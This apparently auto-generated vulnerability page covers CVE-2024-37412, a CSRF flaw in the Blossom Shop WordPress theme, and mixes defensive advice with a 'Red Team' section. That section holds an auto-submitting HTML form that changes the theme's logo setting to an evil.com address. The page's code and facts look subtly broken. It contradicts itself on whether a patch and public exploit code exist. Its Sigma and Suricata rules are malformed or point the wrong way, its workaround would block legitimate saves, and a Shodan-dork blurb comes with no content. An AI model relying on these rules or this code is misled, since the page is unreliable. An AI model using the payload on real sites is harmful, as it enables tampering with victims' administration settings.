CVE-2024-37412
Executive Summary
CVE-2024-37412 is a Cross-Site Request Forgery (CSRF) vulnerability in the Blossom Shop WordPress theme by Blossomthemes. This vulnerability affects all versions up to and including 1.1.7. A CSRF flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. The vulnerability is classified as a WordPress ecosystem issue, specifically within the theme's nonce validation or lack thereof. The CVSS score is 4.3 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Blossom Shop WordPress theme, which is distributed via the WordPress theme repository and third-party marketplaces. Since it is a WordPress plugin/theme, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk involves users downloading the theme from unofficial sources or failing to update when a patch becomes available. The lack of a patch from the vendor increases the risk of supply chain compromise through outdated installations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Limited ability to modify data or settings.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can be chained with other attacks (e.g., stored XSS) to escalate privileges.
Deep Dive & Mechanics
The Blossom Shop theme likely fails to implement proper CSRF tokens (nonces) in its administrative actions, such as saving theme options, importing/exporting settings, or performing AJAX requests. A CSRF attack works by crafting a malicious HTML page that, when visited by an authenticated WordPress admin, sends a forged request to the vulnerable endpoint. For example, an attacker could change the theme's logo, inject malicious JavaScript, or modify site URLs.
The vulnerability is present in all versions up to 1.1.7. The exact vulnerable code is not publicly disclosed, but typical CSRF issues in WordPress themes involve missing check_admin_referer() or wp_nonce_field() calls in functions hooked to admin_post or wp_ajax actions.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is hypothetical. A typical vulnerable pattern in WordPress themes:
Vulnerable Code (e.g., in functions.php):
function blossom_shop_save_settings() {
// No nonce verification
update_option('blossom_shop_settings', $_POST['settings']);
}
add_action('admin_post_blossom_shop_save', 'blossom_shop_save_settings');
Patched Code (hypothetical):
function blossom_shop_save_settings() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'blossom_shop_save_nonce')) {
wp_die('Security check failed.');
}
update_option('blossom_shop_settings', $_POST['settings']);
}
add_action('admin_post_blossom_shop_save', 'blossom_shop_save_settings');
The patch adds a nonce check using wp_verify_nonce() and check_admin_referer().
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Blossom Shop theme <= 1.1.7.
- An authenticated admin session (the victim must be logged in).
Exploit Steps:
- Craft a malicious HTML page that sends a POST request to the vulnerable endpoint.
- Host the page on an attacker-controlled server or use a phishing link.
- Trick the admin into visiting the page.
Example Malicious HTML (CSRF payload):
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="blossom_shop_save">
<input type="hidden" name="settings[logo_url]" value="http://evil.com/malicious-logo.png">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Note: No public exploit code is available; this is a conceptual example.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual POST requests to
/wp-admin/admin-post.phpwith unknownactionparameters. - Check for missing or invalid nonce errors in WordPress debug logs.
- Use a Web Application Firewall (WAF) to block requests without proper CSRF tokens.
Honeypot Setup:
- Deploy a decoy WordPress admin page that logs all POST requests and alerts on suspicious patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-post.phpwithaction=blossom_shop_save(or similar) from external referrers. - Unusual
Refererheaders pointing to attacker-controlled domains.
- POST requests to
- File IOCs:
- Modified theme options in the database (e.g.,
blossom_shop_settingsoption). - Unexpected files in
/wp-content/uploads/or theme directories.
- Modified theme options in the database (e.g.,
- Log IOCs:
- WordPress debug log entries:
Nonce verification failedorCSRF token mismatch.
- WordPress debug log entries:
Detection Engineering
YARA Rule
rule CVE_2024_37412_CSRF_BlossomShop {
meta:
description = "Detects potential CSRF exploitation attempts against Blossom Shop theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37412"
strings:
$action = "blossom_shop_save" nocase
$admin_post = "admin-post.php" nocase
$settings = "settings[" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-37412 Blossom Shop CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting WordPress admin-post.php with Blossom Shop theme actions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-post.php'
cs-uri-query|contains: 'action=blossom_shop'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-37412 Blossom Shop CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-post.php"; http_uri;
content:"action=blossom_shop"; http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Blossom Shop theme until a patch is available. Switch to a different theme.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwith unknownactionparameters. - Educate administrators to avoid clicking suspicious links while logged into WordPress.
Long-term Fix:
- The vendor must release a patched version (e.g., 1.1.8) that adds CSRF nonce verification to all admin actions.
- Users should monitor the WordPress theme repository for updates.
Workaround:
- Add custom code to the theme's
functions.phpto enforce nonce checks (if you have development resources):
add_action('admin_init', function() {
if (isset($_POST['action']) && strpos($_POST['action'], 'blossom_shop') !== false) {
if (!check_admin_referer('blossom_shop_nonce')) {
wp_die('CSRF detected.');
}
}
});
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.